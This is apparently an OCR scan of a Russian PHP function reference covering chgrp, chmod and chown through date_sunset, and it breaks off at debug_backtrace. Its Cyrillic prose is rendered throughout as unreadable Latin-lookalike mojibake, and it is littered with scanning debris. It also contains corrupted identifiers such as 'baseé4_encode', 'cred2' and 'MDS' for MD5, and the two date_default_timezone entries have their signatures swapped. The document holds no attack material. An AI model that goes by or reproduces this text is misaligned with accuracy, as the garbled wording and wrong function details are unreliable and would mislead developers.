e NAPTR - HoBeHui TN DNS-3anucet, HCNOJIB3YIOLIMX PeryJssipHble Bbl-
pakeHusl.

e TXT - U3HAYaJbHO OblIa npeaHadHavd€Ha AJisd 4E€JIOBEKOYHTAEMOIO TEKCTA,
OJHAKO 3Ta 3allUCb TaKX€ COAEPXKHUT AaHHbIE, TPpE€AHAa3HAYEHHbIE [1J14 YTE-
HHEM MalllHHAMH.

e ANY - 1100asi U3 NIpUBEIEHHbIX BbILLE.

Ilns 6osee noapobHO nHGpOpMaLuK M. http.//en.wikipedia.org/wiki/List_of _
DNS _record_types.

chgrp
bool chgrp(string path, mixed group)

WUsmensier rpynny aiijga, 3a1aHHOTO NMapaMeTpPoM path Ha group. UTOOBI 3Ta
dyukuus paborana, PHP moskeH 3anyckaTbest ¢ HaaieXKalliMU PUBUJIETHsI-
Mu. BosBpaluaert true B cayyae ycnexa U false - B c1ydyae HeyIauu.

=

v



e vmbewe

PP

chmod

bool chmod(string path, int mode)

IIbiTaeTcss U3MeHUTH MpaBa ¢aiiia, 3aIaHHOTO TapaMeTPOM path, Ha mode. [la-
pamMeTp mode I0JKEH ObITh BOCBMEPHUYHBIM YMCJIOM, HampuMep, 0755. Ilesoe
4pcI0 755 WM cTpoka “uv+x” He paboTaioT, Kak oxwuaaercsa. BosBpaiaer true
B CcJIy4ae ycrexa U false - B CIy4yae Heyauu.

chown

bool chown(string path, mixed user)

N3mensiet Bnanenbua ¢aina path Ha user (TapameTp, copiep>Kaliuit UMsl MOJIb-
3oBaressi). Utobbl ata dyHkuus paborana, PHP poskeH 3amyckarbcs ¢ Han-
JeXalMMU TIPUBHIETHAMH (0OBIYHO Hy>XXeH Toot-mocTyn). Bosspaimaer true
B CJIyyae ycrexa H false - B CIy4yae HeyauH.

chr

string chr(int char)
BosBpaiaer ctpoky, conepxainuii oquH ASCII-cHMBOJI ¢ HOMEPOM char.

chroot

bool chroot{string path)

Vi3MeHsieT KOpPHEBOH KaTajor TeKylIero mpouecca Ha path. Bbl He MoxeTe Hc-
MOJIb30BATh chroot() 1Jis1 BOCCTAHOBJIEHHsS] KOPHEBOrO KaTajora Ha /, Korza
PHP sanymen B Be6-okpyxxeHun. Bo3Bpauaer true B ciydae ycrnexa u false -
B CJIyYae Hey/IauM. '

chunk_split
string chunk_split(string string], int size[, string postfix]])

BcraBiisieT postfix B CTPOKY TOCJIE KaXKIbIX size CHMBOJIOB M B KOHEIl CTPOKH.
Bosspaiaer pesysbrHpyouryio cTpoky. Eciu postfix He 3amaH, Mo yMOJYaHHUIO
UCIOJIb3YeTCsl 3HayeHHe \r\n, a size TI0 YMOJYAHHUIO paBeH 76. ITa PYHKIMA
00BIYHO T10JIE3HA /I KOAMPOBaHHs AaHHBIX 110 cranaapty RFC 2045. Hanpumep:

$data = "...oueHb anuHHaS crpoka...”;
$converted = chunk_split(baseé4_encode($data));

class_alias
bool class_alias(string name, string alias)

Co3gaeT nceBIOHUM JJ5 KJlacca ¢ UMeHeM name. Ilocjie 3TOro Bbl MOXeTe CChi-
JIaThCs HA KJacC Kak MO UMEHU name, TAK M 10 UMEHH alias. BoaBpamaeT true,
€ecJIM TICeBJOHUM co3aaH. Eciun HET, BO3Bpalla€TCA false.



class_exists
bool class_exists(string name[, bool autoload_class])

B03BpamaeT frue, €CJIM KJaCC C YKa3aHHbIM HMEHEM OIIpEAEJIEH. Ecin HET,
GbyHkuus BepHeT false. MIMs KJacca He YyBCTBUTENBHO K peructpy. Eciu mapa-
MeTp autoload_class = tue, Kmacc OymeT aBTOMAaTMYECKHM 3arpyXeH C IOMO-
b0 GYHKUMHU __autoload).

class_implements
array class_implements(mixed class[, bool autoload_class])

Ecau class - 3T0 00bEKT, BO3BpalllaeT MAacCHUB, COAEPXKallMii nMeHa uHTepdeil-
COB, peajiM30BaHHbIX KjaccoM oObekTa class. Ecau class - 310 cTpoka, 6ymer
BO3BpallleH MacCHUB, COfiepXKallluii uMeHa UHTep(QEeCcoB, peaTn30BaHHbIX KJac-
coM c uMeHeM class. Bo3Bpaiaer false, eciii class He sIBJsieTCsI HU CTPOKOH,
HH OOBEKTOM, UJIM €CJIM class - 3TO CTPOKA, HO HE CYLIECTBYET KJacca C 3THM
uMeHeM. Ecan autoload_class = true, KJacc 6leeT 3arpy>xeH C IIOMOILbIO
(yHK1IMYU __autoload() mepes nmosyuenreM cnucka UHTephENncos.

class_parents

array class_parents(mixed class[, bool autoload_class])

BosBpamaer cnucok poauTeNbCKUX KJACCOB 3afaHHOro kuacca. Ilapamerp
class MOXeT ObITh MM 0OBEKTOM MJIM CTPOKOI, cofepxkalieil uMsi kiaacca. Bos-
Bpauaer false, €CJU class He SIBJISIETCSI HU CTPOKOM, HU OOBEKTOM, WJIM €CJIU
class - 3TO CTpOKa, HO He CYUIECTBYeT Kjacca C 3TUM MMeHeM. Eciu autoload_
class = true, Kjacc OymeT 3arpyxeH C IOMOLIbI0O (PYHKUMH __autoload() me-
pen rosyyeHreM cucka uHrepdeicos.

clearstatcache

void clearstatcache([bool clear_realpath_cache], string file ]])

Ouumaer k3 cocrosiuuii dainos. Ciaeayouuil BbI30B K M060M U3 QYHKIMIA
cocTostHUii aiia nmpuBeneT K mosyyeHuio uHdopMauuu ¢ aucka. [lapamerp
clear_realpath_cache M03BOJIsSIET OYUMCTUTL K3l  realpath. [lapamerp file
[I03BOJISIET OYMCTUTb KIII realpath M stat TOJBKO JIs1 ykaszaHHoro aina u
MO>KeT OBITb UCIIOIb30BaTh, TOJbKO €CJIHU clear_realpath_cache = true.

closedir

void closedir([int handle])

3akpbIBaeT MOTOK KaTajora, yKa3aHHbIA aecKpuntopoM handle. dnst Gosee
noapobHoi MHGpOPMALKHU MO MOTOKaM KaTajsora cM. GyHKUHUIO opendir(). Ecin
handle He yka3aH, OyZeT 3aKpPbIT JECKPUIITOD MOCJEIHETO OTKPBITOrO MOTOKA
Karajora.




closelog

int closelog()

3akpbiBaeT geckpuntop daia, UCIoJb3yeMbIH 7151 3a1IUCH B CUCTEMHBIN XKyp-
HaJl. B ciyyae ycniexa Bo3Bpallaer true, false - B IPOTHBHOM CJIyyae.
compact

array compact(mixed variable1[, ... mixed variableN])
Cosnaer mMaccuB, cofiepXXallluii TepeMeHHble M UX 3HayeHusl. 7151 kaxaoro us
nepeJaHHOro napameTpoB, YHKUMSI compact() HIIET IEPEMEHHYIO C yKa3aH-
HbIM UMEHEM B TeKylied Tabiuile CHMBOJIOB 1 J06aBJisieT MX B BBIBOJMMBbII Mac-
CHB TaK, YTO UMsI IepeMeHHOH CTaHOBUTCS KJII0UOM, a COJEP>KMMOe IlepeMeHHOMH
CTAaHOBUTCS 3HaU€HHEM 3TOro Kioya. Eciu mo6oit 13 mapaMeTpoB - MaccuB, OH
6yner o6paboTaTh peKypcuBHO. JTa YHKIHUS sABJsieTcs] 06paTHOM 1ist BHyHK-
LU extract().
connection_aborted

int connection_aborted|()
Bosspauaer true (1), eciu KaMeHT oTcoeanHeH (Hanpumep, Haxan Cron B 6pa-
y3epe). B npoTuBHOM ciyyae Bo3Bpatiaer false (0) - ecau KJIHeHT Bce elle Moa-
KJIIOYEH.
connection_status

int connection_status()

BosBpallaer cocTosiHMe COeIMHEHUs, KOTOpoe MoxeT ObiTh: NORMAL (0),
ABORTED (1) u TIMEOUT (2).
constant
mixed constant(string name)
BoaapamaeT 3HaY€HHE€ KOHCTAHTbI C UMEHEM name.
convert_cyr_string
string convert_cyr_string(string value, string from, string to)
KOHBepTP[pyeT valve U3 OlIHOﬁ pyCCKOHE)bI'{HOﬁ KOAUPOBKH CUMBOJIOB B [Ipy-
Ir'yio. HapaMeTp from 3a1a€T UCXOAHYIO KOAUPOBKY, [IapAMETP to 3a/Jd€T PEIYJib-

TUpYIOLIYyI0 KOAUPOBKY. [lapameTpnl from M to MOryT NMpUHUMATh CJeAyiollne
3HAYEHUS:

o k-koi8-r
e w- Windows-1251
e i-ISO 8859-5



e owud - X-cp866
e m - x-mac-cyrillic
convert_uudecode
string convert_uudecode(string value)

Packoaupyer cTpPoKy value, 3aKOAMPOBAHHYI0 C TIOMOUIbIO uuencode, U BO3-
BpalllaeT ee.

convert_uuencode

string convert_uuencode(string value)
Komupyet cTpoky value, HCTIOTB3Ys uuencode, 1 BO3BPALLAET €e.
copy

int copy(string path, string destination], resource context ])

Konupyer daiin, 3agaHHbIii MapaMeTpoM path, B destination. Eciin omepauus
ycrelHa, GyHKIUsI BEPHET true, false - B IPOTUBHOM cayyae. Eciu daiin B ka-
Tajiore Ha3HauyeHus1 (destination) yxKe cyllectByer, oH Oymer 3ameneH. Heo-
Os13aTesIbHbIN TapaMeTp context 3aa€T PeCypC KOHTEKCTA, CO3JaHHBIH (yHK-
uuen stream_context_create().

Ccos
float cos(float value)
BosBppalllaeT KOCHHYC 3Ha4€HHA value B pafaHaXx.
cosh
float cosh(float value)
. Bosppaiaer runepbonnyeckuii KOCHHYC 3Ha4eHus valve.
count
int count(mixed value], int mode])

BosBpaliiaer 4ucyio 3/1eMEHTOB B 3Hau€HUH valve. {7151 MAacCMBOB U OOBEKTOB -
3TO YMCJIO 3j1eMeHTOB. {151 J1o6oro apyroro 3HaveHue - 3to 1. Eciu napamerp -
3TO MepeMeHHasl U MepeMeHHasl He yCTaHOBJeHa, Bo3Bpallaercs 0. Eciu mode
yctaHoBjieH B COUNT_RECURSIVE 4MCJIO 3/71EMEHTOB OYIET MOACYUTAHO PEKYP-
CHMBHO, OYIyT MOACYUTAHO YUCJIO 3HAYEHUH B MACCUBAX BHYTPHU MaCCHBOB.

count_chars

mixed count_chars(string string|, int mode])




IloacyuThIBaeT KOJMYECTBO BXOXKAEHUN KaXXa0ro u3 cuMBoJioB ¢ ASII-kogamu
B auanasone (0..255) B cTpoKe string ¥ BO3BpallaeT 3Ty MHGOPMALMIO B pa3-
auuHbix popmarax. Mopmar pesysbTarta 3aaeTcsi IapaMeTpoM mode:

e (O -MacCUB, UHIEKCAMU KOTOPOIO ABJAKTCA ASCII-KOlIbI, a 3HA4YEeHUSIMHU -
o YHCJIO BXOX/IEHUH COOTBETCTBYIOLLIET'O CHUMBOJIA.

1 - To xe, uto u 17151 0, Ho HHDOPMaLMsT O CUMBOJIaX C HYJIEBbIM YHCJIOM
BXOXK/IEHHI He BKJIIOYAETCS] B MACCUB.

o e 2 - T0 Xe, yTo 1 47131 0, HO B MacCUB BKJIOYaeTcsl THGOPMaLHs TOJIbKO

O CUMBOJIax C HyJIeBbIM UYMCJIOM BXOXJEHUH.
m

: e 3 - BO3BpallaeT CTPOKY, COAEPKALLYI0 BCE YHUKAJIbHbIE CHMBOJIbI B HCCJIE-

- .lyeMOM CTPOKe.

- e 4 - BO3BpallaeT CTPOKY, COCTOSILIYI0 U3 CUMBOJIOB, KOTOpble HE BXOMSIT
o B UCXOIHYIO CTPOKY.
- | cred2

int crc32(string value)

______ : Boruucnsiet v Bo3Bpaiaet koHTposbHYI0 cyMmmy CRC 1151 3HaueHust value.

* ! create_function
~ . string create_function(string arguments, string code)
g Co3maer aHOHHMMHYIO GYHKIMIO C 3aAaHHBIMM aprymeHtamu (mapameTp
! arguments) M KOZOM (mapaMeTp code). BosBpaliaer umsi creHepupoBaH-
- | Hoil ¢yHkuun. Takne aHoHuMHble DYHKUMM (Takke Ha3blBalOTCs JsiMOza-
. (yHKUMsAMK) nose3Hbl 151 BpeMeHHbIX callback-byHkimii, Heo6XoaUMBIX 17151
o | bYHKUHI Bpoze usort().
. crypt
string crypt(string string], string salt])
s

_______ I1TudpyeT cTPoKy string, UCNOJB3YsT ANTOPUTM LIMGPOBAHMS, 33JIaHHBII Mapa-
— : MeTpoM salt. Ecau salt He 3amaH, 6yneT aBTOMAaTHYeCKH CreHepUpOBaHa CTaH-
napTHas cayydaiiHas 2-cumBosibHast (DES) an6o 12-cumBosbhas (MDS) coas -
¢ i BCe 3aBUCHT OT Toro, goctynel iu MDS B PHP. Bosppaiuaer 3auimndpoBaHHyo
----- : crpoky. IlogpobHyo MHGOPMALMIO MOXKHO NOJYYUTb 110 aapecy: hitp.//www.
=\ php.net/manual/ru/function.crypt.php

current
mixed current(array array)

. BosBpaluaeT 3HaueHHe TEKYILEero JeMeHTa MacCHBa - 3J1eMeHTa, Ha KOTOPbIH
™~ ! yKa3blBaeT BHYTPeHHMii yka3arteab. Korma current() BbI3BaHa B MepBbIi pa3



WJIM Ke KOr/a ykasaresb cOpoleH (GyHKIUUe reset(), ykasaTeab OyaeT yKa3bl-

BaTb Ha HepBbIﬁ J3JIEMEHT MaCCHBa. i *

date P =
string date(string format[, int timestamp]) m -

MDopmartupyerT AaTy U BPeMsS B COOTBETCTBHMH CO CTPOKOM ¢opMaTa format. Ecain U

BTOPOIi TapaMeTp He YKa3aH, UCIO0JIb3yeTcs TeKyllee BpeMs. B ctpoke ¢hopMaTa
format MOTYT ObITb PACIIO3HAHBI CJIEAYIOIHE CUMBOJIBL:

e - “am” WUiau upmn.
o A-"AM” umu “PM”.

e B - Bpems B popMaTe MIHTEDHET-BPEMEHU. "

e d - JIeHb Mecsla, ABe UUPPHI ¢ JUAUPYIOIUM HyJieM, To ecTb ¢ “01” mo
u31n. E -]

e D - TekcToBOe NpejcTaBieHHe AHS (TpexOykBenHass ab6peBmarypa) - ! ..
“Mon”. ks

e F - Ha3BaHHWe Mecslla, Hanpumep, ‘August”. T
* g-uac B 12-uacoBoM opmare, To ecTb ¢ “1” 1m0 “12”. i
e G -uyac B 24-oM popmare; To ecTb ¢ “0” o “23”. ...... .
e h - uac B 12-yacoBoM hopmaTe ¢ JHMAUPYILEM HyJjieM, To ecTb ¢ “01” mo :

(112” E
[ ” E E
e H - yac B 12-yacoBoM ¢hopmare c JUAMPYLIEM HYyJeM, TO ecTb ¢ “00” mo ;.
‘123)1‘ E =
® |- MUHYTHI C IUIUPYIOILEM HYJieM, T.e. ¢ “00” mo “59”. :
o
® | - NpU3HaK JieTHero BpeMeHH (1 - jeTHee BpeMs). P
e |- eHbMecsla, T.e.c “1” mo “31”. ' o
e |- neHb Henenu (Ha3BaHue), T.e. “Monday”. '
[ =]
e | -“0" ecsu rog He BUCOKOCHBIM; “1” - €CJIM roJl BUCOKOCHBIH. L
® m - Mecsll, BKJIIOYasi IMAUPYIOUIKe HyJH, T.e. “01” - “12”, Do
e M - Ha3BaHMe Mecslla, TpexOyKBeHHas ab6puBuarypa, T.e. “Aug”. e
)
e n - HOMep Mecsila 6e3 TUAUPYIOIUX Hy e, T.e. “17 - “12”. .
e r - gara, orgpopMaTHpoBaHHas B cooTBeTcTBUM ¢ RFC 822, Hanpumep : =
“Thu, 21 Jun 2001 21:27:19 +0600”.
(-
® s- CEeKyH[bI C IUAUPYIOLIUM HyJieM, T.e. “00” - “59”. L
e S - Anmmmiickuit cyp@HKc NOpPAAKOBOrO YUCIUTENBHOTO HA MecsAla, 2 : =
cuMBoJa : “st”, “nd” wium “th”. O
~N

e t- YKCJIO JHEH B Mecslle, oT “28” mo “31”. :



e T-uyacoBasi 30Ha MallMHBI, Ha Kotopoi# 3anyuieH PHP, nanpumep, “MST”

e U - ceKkyHabl, npouleaHue ¢ Hayasna anoxu Unix.

e w - HOMep IHs HenesH, “0” cOOTBETCTBYET BOCKPECEHDIO.

e W - HoMep Hefesiu B cooTBeTcTBUH ¢ ISO 8601.

e Y -rop, yerbipe uudpbl, Hanpumep, “1998”

e y-rof, aBe 1udpsbl; Hanpumep, “98”

e z- JeHb B roxy, ot “0” o “365”

e 7 - cMellleHHe BpeMeHHOI 30HbI B cekyHaax oT “—43200” (3anax UTC) no
“43200” (Boctok UTC)

JlrobOble CUMBOJIBI B CTPOKE format, OTJIMUHbIE OT MPHBEIEHHBIX BbIlIE, OYIYT
oCTaBJIeHbl KaK ecTb. Eciam IJIsL timestamp 6leeT NpeaACTaBJIEHO HEYHUCJIOBOE
3HayeHHe, QYHKIUS BePHET false U BbIBeET MPeAyNpexXIeHHeE.
date_default_timezone_set

string date_default_timezone_get()

Bo3Bpaniaer Tekyuuii 4acoBoil NOsIC, YCTAaHOBJIEHHBbIH paHee (yHKUMEH
date_default_timezone_set() MM  4yepe3  ONUUIO  datetimezone B  BalleM
php.ini. Bephet “UTC”, ecsii 3Ta ONIIMs He YCTaHABJIMBAJIACH.
date_default_timezone_get

string date_default_timezone_set(string timezone)
YcraHaBiMBaeT YacoOBO# MOSIC IO YMOJTYAHHIO.

date_parse
array date_parse(string time)
KOHBepTHPYET aHTJIMHCKOe onucaHue naTbl U BpEMEHHU B MaCCUB, OITHMCbIBAIO-
M naty 1 Bpemsi. BosBpauiaer false, ecii 3HaueHHe He MOXET ObITh 1Peosd-
Pa30BaHO B TONYCTUMYIO naTy. Bo3BpalieHHblil MACCUB COTEPHKUT Te XKe KJIIOUH,
4YTO U BO3BpalleHHbIH dyHKIMeN date_parse_from_format.
date_parse_from_format
array date_parse_from_format(string format, string time)
ITpeo6pa3yeT fime B acCOIMATUBHBIA MacCHUB, coaepKalluid HHGOpPMAaIUIO
o nate. CTpoka time ykasbiBaetcsi B ¢opMare format, UCNOJIB3YSI TE XK€ CUM-
BOJIbHbIE KOIbI, YTO U (PYHKIMS date(). Bo3aBpalieHHbIH MAaCCUB CONEPHKHUT Clie-
Ayouye 3arnucu:
® year - I'OJ.
e month - MECSIL



e day - 1eHb Mecslla. ;
e hour - YachlL :
® minute - MUHYTBI.

® second - CEKYH/BI.

e fraction - 1OJIX CEKYHA.

® warning_count - CUETYUK NpeayNpekJeHUH, KOTOpble BO3HUKJIU BO Bpe-
Ms TapCHUHTa.

® warnings - MaCCHB npenynpexc,ueﬂnifi, KOTOpbI€ BO3HUKJIU BO BpeMdA Iap-
CHHTra. Do

® error_count - C4ETYUK OIIMOOK, KOTOPbIE BOBHUKJIM BO BPEMSI APCHHTA. §=
® errors - MACCUB OLIMOOK, KOTOPBIE BO3HUKJIM BO BPEMsI IIAPCUHTa. -
e is_locallime - true, ecM BpeMsi TPEACTaBJseT BPeMsi B TEKyIIeM 4aco- | ¢
BOM IIOsICE. ;
® zone_type - TUII YaCOBOT'O MOSACA. P
® zone - YACOBOM MOSIC. —
e is_dst - true, ec/i BpeMsi sIBJISIETCSI JIETHUM BPEMEHEM. =
date_sun_info : =
-

array date_sun_info(int timestamp, float latitude, float longitude)

BosBpauiaetr MaccuB ¢ nHpopMalKeil 0 3akaTe/paccBeTe U Hauyaje/OKOHYaHUH | =
cymepek. Ilapamerpsl lafitude ¥ longitude 3a7alOT IWKMPOTY U JOJTOTY B Trpa-

Frmmcapas

nycax. Pe3yssTHPYIOIIMI MAaCCUB COAEPKUT CJIEAYIOLIME KIIOUH: =
® sunrise - BpDEMs BOCXO/la COJIHIIA. ' o
® sunsel - BpEMs 3aKaTa COJIHLA. Beeoos
® transit - BpeMsl, KOT/1a COJIHLIE B 3EHUTE. &
e civil_twilight_begin - HayaJy10 TOPOACKUX CyMepek o
e civil_twilight_end - BpeMs1 OKOHYaHUs TOPOJACKUX CyMEPEK. .....
® navtical_twilight_begin - BpeMs HauaJla HABUTallMOHHBIX CyMepeK. B
® navtical_twilight_end - BpeMs1 OKOHYaHHUsI TOPOACKUX CyMepeK. .
e astronomical_twilight_begin - BpemMs Hayaja AaCTPOHOMMYECKUX CYy- -
MepeK. -
e astronomical_twilight_end -  BpeMs  OKOHYaHHMSI  aCTPOHOMMUYECKHUX =
Cymepek.
date_sunrise : o
mixed date_sunrise(int timestamp], int format[, float latitude], float longitude N N

[, float zenith[, float gmt_offset]]]]])



-

Bos3Bpaniaer Bpemsi Bocxoja COJHI@A [JJs1 AHs, YKa3aHHOrO B tfimestamp HJIH
false B ciyyae Heymauu. Ilapamerp format ompenessier ¢opMaT BpEMEHH,
B KoTOpOM Oy/JeT BO3BpalleHO BpeMs ( MO YMOJYAHUIO UCIOJIb3YETCs 3Haue-
HHUe SUNFUNCS_RET_STRING). Ilapamerps! latitude, longitude, zenith
U gmt_offset 3a1aI0T MECTOIOJIOXKEHHE.

[TapameTp format MOXKET OBITD:

e SUNFUNCS_RET_STRING - BO3BpamaeT 3HayeHHe KaK CTPOKY, HallpUMED,
“06:14”

e SUNFUNCS_RET_DOUBLE - BO3BpallaeT 3HaueHHE KaK 4YHCJIO, HallpUMEP
6.23

e SUNFUNCS_RET_TIMESTAMP - Bo3Bpallla€T 3Hay€HHE B CEKyHJax C HadaJja
anoxu Unix (timestamp).
date_sunset

mixed date_sunset(int timestamp, int format], float latitude[, float longitude
[, float zenith], float gmt_offset]]]]])

Bo3Bpaniaer Bpemsi 3akarta COJIHLA [JIs [Hsl, YKa3aHHOTO B timestamp HJIH
false B cayuae Heymauu. I[lapamerp format ompezessier ¢opmaT BpeMeHH,
B KOTOpOM OyzeT Bo3BpaieHo BpeMs ( 110 YMOJIYAHHMIO HCIIOJIb3YETCS 3HaYe-
HUe SUNFUNCS_RET_STRING). IlapameTpsl latitude, longitude, zenith
U gmt_offset 31aI0T MECTOIOIOKEHHUE.

[Tapametp format MoXxeT ObITb:

e SUNFUNCS_RET_STRING - BO3BpalllaeT 3Hau€HHE KaK CTPOKY, HallpUMEp,
“19:02” :

e SUNFUNCS_RET_DOUBLE - Bo3BpalllaeT 3Haye€HHE KaK 4HCJIO, HalpuMmep
19.033

e SUNFUNCS_RET_TIMESTAMP - Bo3BpalllaeT 3Hau€HHE B CEKyHAax C Hadaja
anoxu Unix (timestamp).
debug_backtrace
array debug_backtrace([ int options [, int limit ]])
Bosspainaer crek Bbi30BoB ¢yHkiuit PHP B Buze MaccuBa BroxeHHBIX acCOLM-
aTUBHBIX MAcCUBOB (array). Kaxxaplii MacCUB COEPKUT CIEAYIOLINE TEMEHTBI:
e function - UM